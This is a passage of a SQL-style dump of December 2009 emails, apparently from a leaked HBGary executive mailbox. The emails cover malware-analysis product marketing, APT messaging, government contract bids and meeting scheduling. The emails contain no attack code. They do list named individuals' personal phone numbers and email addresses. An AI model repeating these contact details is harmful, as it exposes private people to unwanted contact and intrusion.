Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4724 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',409,'aaron_hbgary_com/409.html'),(687,'2009-12-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999999.M519979P3547Q687.eml','\"Greg Hoglund\" <greg@hbgary.com>','Traces','Hey Greg,\r\n\r\nDo you have any photoshop versions of some malware traces, such as agent.btz or conficker.  Ted and I would like to put them up on Cafe press, and makes some shirts for ourselves.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1625,'aaron_hbgary_com/1625.html'),(688,'2009-12-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999999.M715291P3547Q688.eml','\"Penny Leavy\" <penny@hbgary.com>','Medical','Penny,\r\n\r\nI have been sitting down with Jeff talking about Medical benefits.  Then talking with Ted.  HBGary federal I think needs to offer sooner medical benefits to be competitive with other government contractors.  Is this possible?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9234,'aaron_hbgary_com/9234.html'),(689,'2009-12-16','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','/aaron@hbgary.com/new/1297000000.M277718P3547Q689.eml','\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com,bob@hbgary.com','Canceled: Meeting w/HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, December 17, 2009 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 6701 Democracy Blvd, Suite #300, Bethesda, MD 20817\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDirections Below:\r\n&nbsp;\r\nHB Gary\r\n6701 Democracy Blvd, Suite #300\r\nBethesda, MD 20817\r\n(301) 652-8885 x117\r\n&nbsp;\r\n&nbsp;\r\nStart at: 14900 Conference Center Dr Chantilly, VA 20151\r\n&nbsp;\r\n1. Head north on Parkstone Dr toward Conference Center Dr - 318&nbsp;ft 2. Take the 1st right onto Conference Center Dr - 0.4&nbsp;mi 3. Slight right toward Stonecroft Blvd - 207&nbsp;ft 4. Continue straight onto Stonecroft Blvd\r\n- 0.5&nbsp;mi 5. Slight left to stay on Stonecroft Blvd - 253&nbsp;ft 6. Turn left at Westfields Blvd - 443&nbsp;ft 7. Merge onto Sully Rd/VA-28 S via the ramp to I-66/Centreville - 2.1&nbsp;mi 8. Turn left to merge onto I-66 E - 11.7&nbsp;mi 9. Take the exit on the left toward I-66/Washington\r\n- 0.2&nbsp;mi 10. Slight left at I-495 N&nbsp; Entering Maryland - 10.1&nbsp;mi 11. Slight left at I-270 Spur N - 0.6&nbsp;mi 12. Take exit 1 for Democracy Blvd - 0.4&nbsp;mi 13. Turn right at Democracy Blvd - 0.1&nbsp;mi 14. Turn left - 171&nbsp;ft\r\n&nbsp;\r\nArrive at: 6701 Democracy Blvd Bethesda, MD 20817\r\n\r\n\r\n\r\nThanks\r\nVickie\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',3386,'aaron_hbgary_com/3386.html'),(690,'2009-12-16','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000000.M516531P3547Q690.eml','\"Barr Aaron\" <aaron@hbgary.com>','Matt','\r\n\r\n',1717,'aaron_hbgary_com/1717.html'),(691,'2009-12-17','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000000.M707201P3547Q691.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Medical','If you have your own plan.  I\'ll call Jeff when I\'m back to discuss\r\n\r\nOn Wed, Dec 16, 2009 at 11:23 AM, Aaron Barr  wrote:\r\n> Penny,\r\n>\r\n> I have been sitting down with Jeff talking about Medical benefits.  Then talking with Ted.  HBGary federal I think needs to offer sooner medical benefits to be competitive with other government contractors.  Is this possible?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',15648,'aaron_hbgary_com/15648.html'),(692,'2009-12-17','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297000000.M904898P3547Q692.eml','aaron@hbgary.com','Register now for AFCEA\'s Homeland Security Conference','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		          \r\n\r\n	\r\n		\r\n			\r\n			\r\n              \r\n                AFCEA\'s 9th Annual Homeland Security Conference\r\n                    \"DHS - The 7-Year Itch - Renewing the \r\nCommitment\" \r\n    February 24-25, 2010 \r\n    Ronald Reagan International Trade Center\r\n    Washington, D.C.\r\n\r\n                \r\n                  \r\n                    AFCEA STRATEGIC PARTNERS\r\n                    The Definitive Dialogue on Critical Homeland Security Issues\r\n                      The AFCEA Homeland Security Conference has become the premier event in the Washington, D.C. area to learn about the most current homeland security issues facing our nation. The conference agenda is set by an advisory board made up of the government and industry individuals that are accountable for carrying out the DHS mission.\r\n                      This is THE venue will you will hear first hand about the critical issues facing our country in the fight against terrorism. The conference offers an opportunity for you to engage in the dialogue on critical issues with key government and industry executives.\r\n                      Topics to be covered include: \r\n                      \r\n                        Cyber Security\r\n                        Securing Social Media\r\n                        Transparency\r\n                        Identity Management\r\n                        &quot;CIOs on Air&quot;\r\n                        Border Security\r\n                        Immigration Reform\r\n                        \r\n                        Information/Intelligence-Sharing\r\n                        Procurement\r\n                      \r\n                      &nbsp;\r\n                      Featured Speakers:\r\n                      The Honorable Janet Napolitano (invited) \r\n                      U.S. Secretary of Homeland Security\r\n                      Congresswoman Loretta Sanchez (confirmed) \r\n                       Vice Chair, House Homeland Security Committee \r\n                      Chair, Subcommittee on Border, Maritime, and Global Counterterrorism  \r\n                      &nbsp;\r\nPLUS&hellip; Exposition showcasing the latest homeland security technologies and solutions! \r\n                      For more information on the Conference and to register - please visit http://www.afcea.org/events/homeland.\r\n                          \r\n  Exhibit and sponsorship opportunities are still available. Please contact Maureen Cirrito at mcirrito@afcea.org or (703) 631-6174 for more details.\r\n                    \r\n                \r\n                  \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    PLATINUM PATRONS\r\n                  \r\n                  \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                    &nbsp;\r\n                  \r\n                  \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                    &nbsp;\r\n                  \r\n                  \r\n                    \r\n                    &nbsp;\r\n                  \r\n                  \r\n                    &nbsp;\r\n                    &nbsp;\r\n                  \r\n                  \r\n                    GOLD PATRONS\r\n                  \r\n                  \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                    &nbsp;\r\n                  \r\n                  \r\n                    \r\n                    &nbsp;\r\n                  \r\n                  \r\n                    &nbsp;\r\n                    &nbsp;\r\n                  \r\n                  \r\n                    LANYARDS SPONSOR\r\n                    CONTINENTAL BREAKFAST SPONSOR\r\n                  \r\n                  \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                    &nbsp;\r\n                  \r\n                  \r\n                    MEDIA SPONSORS\r\n                  \r\n                  \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    \r\n                    \r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                    &nbsp;\r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                    &nbsp;\r\n                    &nbsp;\r\n                  \r\n                \r\n               \r\n              \r\n              \r\n  \r\n              \r\n              			\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',999,'aaron_hbgary_com/999.html'),(693,'2009-12-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000001.M130477P3547Q693.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Mandiant does a good job describing their strategy against 	Advanced Persistent Threats','Team,\r\n \r\nAs you know I&#39;ve been working for a few weeks now trying to distill a message for HBGary.  Everyone has given feedback, and I spent many hours of face time with both Rich and Aaron.  Last weekend at Rich&#39;s place, we worked out another refinement and I wrote it up in the attached document.  The root message is &quot;Risk Intelligence&quot; and the document describes it at a technical level and how it relates to Digital DNA and the other products.  I think we are close.\r\n\r\n \r\n-Greg Hoglund\r\nCEO, HBGary Inc\r\nOn Sat, Dec 12, 2009 at 10:28 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nAt DuPont we met with their CISO and CTO.  I added a first slide with heading “The Bad Guys Want…..” with three bullets of “Intellectual Property, Strategic Advantage, Financial Gain”.  To my surprise the group spent 20-30 minutes on this first slide.  They believe their bad guys are the Chinese who want to catch up and leapfrog them in the global marketplace, so they focused the conversation on IP and strategic advantage, but with those two they realized it would secondarily give the bad guys financial gain.\r\n\r\n \r\nTo DuPont it is personal.  It isn’t about malware.  To them it is a battle against people, organizations and countries that strive to do them harm.\r\n\r\n \r\nThe conversation about IP, strategic advantage and financial gain applies to both business and gov’t.  It is said that financial issues are at the root of all wars.\r\n\r\n \r\nGreg and I met with Shane Shook, a deep thinker at PwC.  We came to a tagline of “Threat Identification and Response”.\r\n \r\nIt is becoming apparent to all of us at HBGary that we must revamp our website (and create a website for HBGary Federal).  The website must have a clear top story messaging where the user can easily drop down into the sub-stories they care about.  Currently, the website is a bit haphazard.\r\n\r\n \r\n\r\nBob \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Sunday, December 06, 2009 2:34 PM\r\nTo: Bob SlapnikCc: all@hbgary.comSubject: Re: Mandiant does a good job describing their strategy against Advanced Persistent Threats\r\n\r\n \r\nSome key things that I see missing in their strategy.  The APT is not just threats against theft of data, the APT is now a weaponized element of a few countries military arsenals likely used for theft of IP, but also to degrade adversaries capabilities, this includes information manipulation, degradation of resources, etc.  This is now cyber warfare and needs to be thought of in its totality.\r\n\r\n\r\n \r\n\r\nThe government knows that ridding your network of the APT is not likely so talking about it in that context will seem like you don&#39;t get it.  Another key term the government uses is fight through capability.  No matter what happens to our cyber resources, the mission must not be impeded, or not impeded much.  So leveraging best in class cybersecurity products that can detect and mitigate advanced zero day attacks, by embedding world class analysts, incident responders, and mission specialists to ensure that under the most advanced threats the mission will be completed.\r\n\r\n\r\n \r\n\r\nThe government is much more savvy then they used to be, they know technology is not going to solve their problems.  Fighting the APT has to be an integrated strategy, so how do we work with the other elements improve situational awareness, near realtime incident response to identified threats, and architecture/mission resiliency.  We need to have folks that know and can fuse information with intelligence components, operational components, mission planners, etc.\r\n\r\n\r\n \r\n\r\nSo when I read through Mandiants write up, what I see is a group of focus that see this as a pure cyber play.  Most big customers will see this as a very narrow view of the solutions needed to combat the APT.\r\n\r\n\r\n \r\n\r\nIn short, when we stand up the HBGary Federal website, I believe our approach to mitigating the APT should resonate better with customers.\r\n\r\n \r\n\r\nThoughts?\r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n \r\n\r\n\r\nOn Dec 6, 2009, at 12:29 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nhttp://www.mandiant.com/apt.htm\r\n\r\n \r\n\r\nOur website needs work.\r\n\r\n \r\n\r\nBob\r\n\r\n \r\n \r\n',10112,'aaron_hbgary_com/10112.html'),(694,'2009-12-17','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000001.M350877P3547Q694.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>','FW: HBGary\'s Digital DNA Enterprise-- nextgen technology for Malware Detection & Threat Intelligence','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n&nbsp;\r\n\r\nI wanted to share the email I\r\nsent to Bob West, CIO of all DHS after meeting with him face to face.&nbsp; I used\r\nour new messaging (see below) that HBGary is a Risk Intelligence company and\r\nBob totally understood how we were different than &#8220;current bread and butter\r\nsecurity companies&#8221;.&nbsp;&nbsp; When I explained how we &#8220;perform a automated crash dump\r\nanalysis&#8221; on each host he got it instantly why DDNA can better detect than\r\ncurrent solutions.&nbsp; I then explained that the most critical &#8220;ground truth&#8221; and &#8220;actionable\r\nintelligence&#8221; is contained inside the malware inside of memory, not on the\r\nwire, not in the net-flow traffic, etc. he totally understood that as well.&nbsp;&nbsp; Bob\r\nwas much more technical than I imagined.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBob laughed and said that &#8220;it used\r\nto be that when you got hacked and went up to Congress and the Hill and admitted\r\nit you got in trouble for not doing enough to prevent&nbsp; the intrusion, nowadays you\r\nget in trouble if you say you haven&#8217;t had an intrusion because it means you don&#8217;t\r\nknow what you&#8217;re doing&#8221;&#8230;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Wednesday, December 16, 2009 12:43 PM\r\nTo: robert.west@dhs.gov\r\nCc: \'Maria Lucas\'; nolan@informationsecuritysolutionsllc.com;\r\nrich@hbgary.com\r\nSubject: HBGary\'s Digital DNAT Enterprise-- nextgen technology for\r\nMalware Detection &amp; Threat Intelligence\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob,\r\n\r\n&nbsp;\r\n\r\nThanks very much for meeting with Nolan and I last\r\nFriday.&nbsp; It was great meeting you.&nbsp; Per our conversation please find\r\nattached 2 data sheets and 1 whitepaper regarding the HBGary cyber security\r\nsolutions.&nbsp; &nbsp;Thank you for offering to introduce us to your SOC\r\ntechnical management team.\r\n\r\n&nbsp;\r\n\r\nBelow is some background information on HBGary, Inc. and\r\nDigital DNA&#8482; Enterprise.\r\n\r\n&nbsp;\r\n\r\nHBGary is a Risk Intelligence organization that\r\nspecializes in the Cyber Domain.&nbsp; HBGary provides software for Computer Emergency\r\nResponse Teams and Secure Operations Centers to better detect, diagnose and\r\nrespond to the advanced persistent threat (APT) that government agencies are\r\nfacing today. HBGary also provides Threat Intelligence Reports to help\r\nexecutives and management obtain a competitive advantage when it comes to\r\nbalancing mission objectives with acceptable risk.\r\n\r\n&nbsp;\r\n\r\nHBGary Digital DNA is solving the problem that anti-virus\r\nand host intrusion detection systems are failing to detect 80% of new\r\nmalware.&nbsp; The malware variants, polymorphic code, injected malcode,\r\nrootkits and other zero-day malware easily evade detection by the bread and\r\nbutter security tools because they\'ve failed to innovate along with the malware\r\nauthors.\r\n\r\n&nbsp;\r\n\r\nHOW IT WORKS:&nbsp; Digital DNA uses a completely different\r\napproach to detecting malware.&nbsp; Digital DNA&#8482; does not rely on the\r\noperating system, it uses automated physical memory object reconstruction and\r\nanalysis (like kernel\r\n\r\ndebugging) to reveal all running software and executable\r\ncode on a system.&nbsp; Once identified all code is further examined to reveal\r\nthe underlying behaviors and capabilities to flag malware, suspicious binaries\r\nand unknown code.&nbsp; Once Digital DNA identifies suspicious or malicious\r\ncode it seamlessly integrates with automatic malware analysis tools to uncover\r\nRisk Intelligence:&nbsp; i.e. what data is being stolen, where it\'s being sent,\r\nwhat are the command and control functions, how it installs itself and also how\r\nto find it in the rest of the enterprise.\r\n\r\n&nbsp;\r\n\r\nDigital DNA&#8482; Enterprise scales to proactively detect,\r\ndiagnose and respond to host cyber threats throughout the network. With an open\r\nAPI Digital DNA easily integrates with ePO, Verdasys, Encase Enterprise and\r\nother solutions for easy, scalable deployment to provide &quot;actionable intelligence&quot;\r\nfor immediate response to known and unknown threats.\r\n\r\n&nbsp;\r\n\r\nHBGary Responder Pro customers within DHS include:\r\nUS-CERT, DHS SOC,ICE, CBP and TSA.&nbsp; ICE recently purchased an\r\nenterprise-wide license of Digital DNA&#8482; for McAfee ePO because they want know\r\nwhat undetected malware is on their networks and what it is doing.\r\n\r\n&nbsp;\r\n\r\nAs discussed, HBGary has several deployment options for\r\n&quot;testing&quot; Digital DNA&#8482; Enterprise available to DHS.\r\n\r\n&nbsp;\r\n\r\nWe Look forward to touching base after the holidays.\r\n\r\n&nbsp;\r\n\r\nBest regards,\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\nRich Cummings | CTO | HBGary, Inc.\r\n\r\nOffice 301-652-8885 x112\r\n\r\nCell Phone 703-999-5012\r\n\r\nWebsite:&nbsp; www.hbgary.com |email: rich@hbgary.com\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5453,'aaron_hbgary_com/5453.html'),(695,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000001.M550690P3547Q695.eml','\"Howsare, Stephanie A.\" <STEPHANIE.A.HOWSARE@saic.com>','Re: Possible Opportunity','Hi Stephanie,By chance is Amanda at all available a little early to our 4pm appt.? &nbsp;If not I may need to just shorten our meeting my a little bit. &nbsp;My 3yr. old daughter has an artshow tonight. :)AaronOn Dec 7, 2009, at 9:37 AM, Howsare, Stephanie A. wrote:\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’ve sent a calendar invite.&nbsp; Please let\r\nme know if you need directions to our office or if I can be of any other\r\nassistance.&nbsp;\r\n\r\nStephanie HowsareAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division703-810-\r\n8983 (please note new number effective 2/2/09)703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, December 07, 2009\r\n9:33 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Re: Possible Opportunity\r\nImportance: High\r\n\r\n&nbsp;Yes I am.\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 9:31 AM, Howsare, Stephanie A. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you available next Thursday, December\r\n17th at 3pm for a meeting with Amanda at her office in Reston, VA?&nbsp;\r\n\r\nStephanie Howsare\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brownfield,\r\nAmanda L. \r\nSent: Monday, December 07, 2009\r\n7:07 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Fw: Possible Opportunity\r\nImportance: High\r\n\r\n&nbsp;S,\r\nIf I am free next Thur please send a calendar invite to this man.\r\nThanks.\r\n--------------------------\r\nSent from my BlackBerry Wireless Handheld\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Brownfield, Amanda L.\r\nSent: Mon Dec 07 00:04:59 2009\r\nSubject: Re: Possible OpportunityHi Amanda,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI wanted to follow up and try and settle on a date before the holidays\r\nif possible. &nbsp;I will be in town all of this week, but I understand your\r\nschedule sounds a bit tight. &nbsp;Next week I will be in Sacramento\r\nmost of the week but will be back in DC Thursday and Friday if you have any\r\navailability.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact\r\nthat you have left the company I assume this makes their position even\r\nworse?&nbsp; I am the lead division for SAIC (also own digital echo) and have\r\nbeen ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have\r\nbegun our proposal preparation.&nbsp; I would welcome the opportunity to speak\r\nwith you as soon as possible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very tight\r\nwith a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6174,'aaron_hbgary_com/6174.html'),(696,'2009-12-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000001.M725950P3547Q696.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: SPAWAR PAC-Verification of SOW Experience','Begin forwarded message:From: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: FW: SPAWAR PAC-Verification of SOW Experience\r\nTed,Please look at the attached word doc.  They only included HBGary in a coupleof categories.  Tell me if you think we should add in more categories,\r\nespecially with HBGary Federal now part of the picture.We have a pretty good record of delivering trainings, so we should probablycheck that box.  And we do a good job of Systems Engineering for our own s/w\r\ndevelopment, but I don&#39;t know if we should check that box or not.The other doc appears to be the SOW.\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.Phone 301-652-8885 x104  |  Mobile 240-481-1419bob@hbgary.com  |  www.hbgary.com\r\nFrom: Holtmann, Vincent A. [mailto:Vincent.Holtmann@gd-ais.com] Sent: Wednesday, December 16, 2009 7:37 PM\r\nTo: Holtmann, Vincent A.Subject: SPAWAR PAC-Verification of SOW ExperienceTeam,Based on Red Team comments we are asking each team member to review the\r\nattached Experience matrix that will go into the proposal and/or oralspresentation. There was some concern raised that we may be overstating ourexperience in some SOW areas.  Please review the specific wording under each\r\nSOW 2.X area, and revalidate that your company indeed has relevant Cyberexperience in these areas and make sure we didn&#39;t make a mistake in thetable. If you have a question about whether you meet the requirements under\r\na certain section, then error on the safe side and do not check the box.We would like all responses back by COB tomorrow, if possible.Thanks in advance\r\n&lt;&lt;CYBER WARFARE SUPPORT SOW (091030).pdf&gt;&gt; &lt;&lt;SOW-2X-Experience-Matrix.doc&gt;&gt; \r\n&lt;SOW-2X-Experience-Matrix.doc&gt;&lt;CYBER WARFARE SUPPORT SOW  (091030).pdf&gt;\r\n',8390,'aaron_hbgary_com/8390.html'),(697,'2009-12-17','\"Howsare, Stephanie A.\" <STEPHANIE.A.HOWSARE@saic.com>','/aaron@hbgary.com/new/1297000002.M227557P3547Q698.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Possible Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; Amanda has asked me to reserve a\r\nSCIF for this meeting.&nbsp; I need to get some info from you for our security\r\nofficer.&nbsp; Can you please give me a call as soon as possible?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 17, 2009\r\n9:30 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Re: Possible Opportunity\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Stephanie,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBy chance is Amanda at all available a little early to our 4pm appt.?\r\n&nbsp;If not I may need to just shorten our meeting my a little bit. &nbsp;My\r\n3yr. old daughter has an artshow tonight. :)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 9:37 AM, Howsare, Stephanie A. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve sent a calendar invite.&nbsp; Please\r\nlet me know if you need directions to our office or if I can be of any other\r\nassistance.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\n\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, December 07, 2009\r\n9:33 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Re: Possible Opportunity\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes I am.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 9:31 AM, Howsare, Stephanie A. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you available next Thursday, December\r\n17th at 3pm for a meeting with Amanda at her office in Reston,\r\n VA?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\n\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brownfield,\r\nAmanda L. \r\nSent: Monday, December 07, 2009\r\n7:07 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Fw: Possible Opportunity\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nS,\r\nIf I am free next Thur please send a calendar invite to this man.\r\nThanks.\r\n--------------------------\r\nSent from my BlackBerry Wireless Handheld\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Brownfield, Amanda L.\r\nSent: Mon Dec 07 00:04:59 2009\r\nSubject: Re: Possible Opportunity\r\n\r\nHi Amanda,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wanted to follow up and try and settle on a date before the 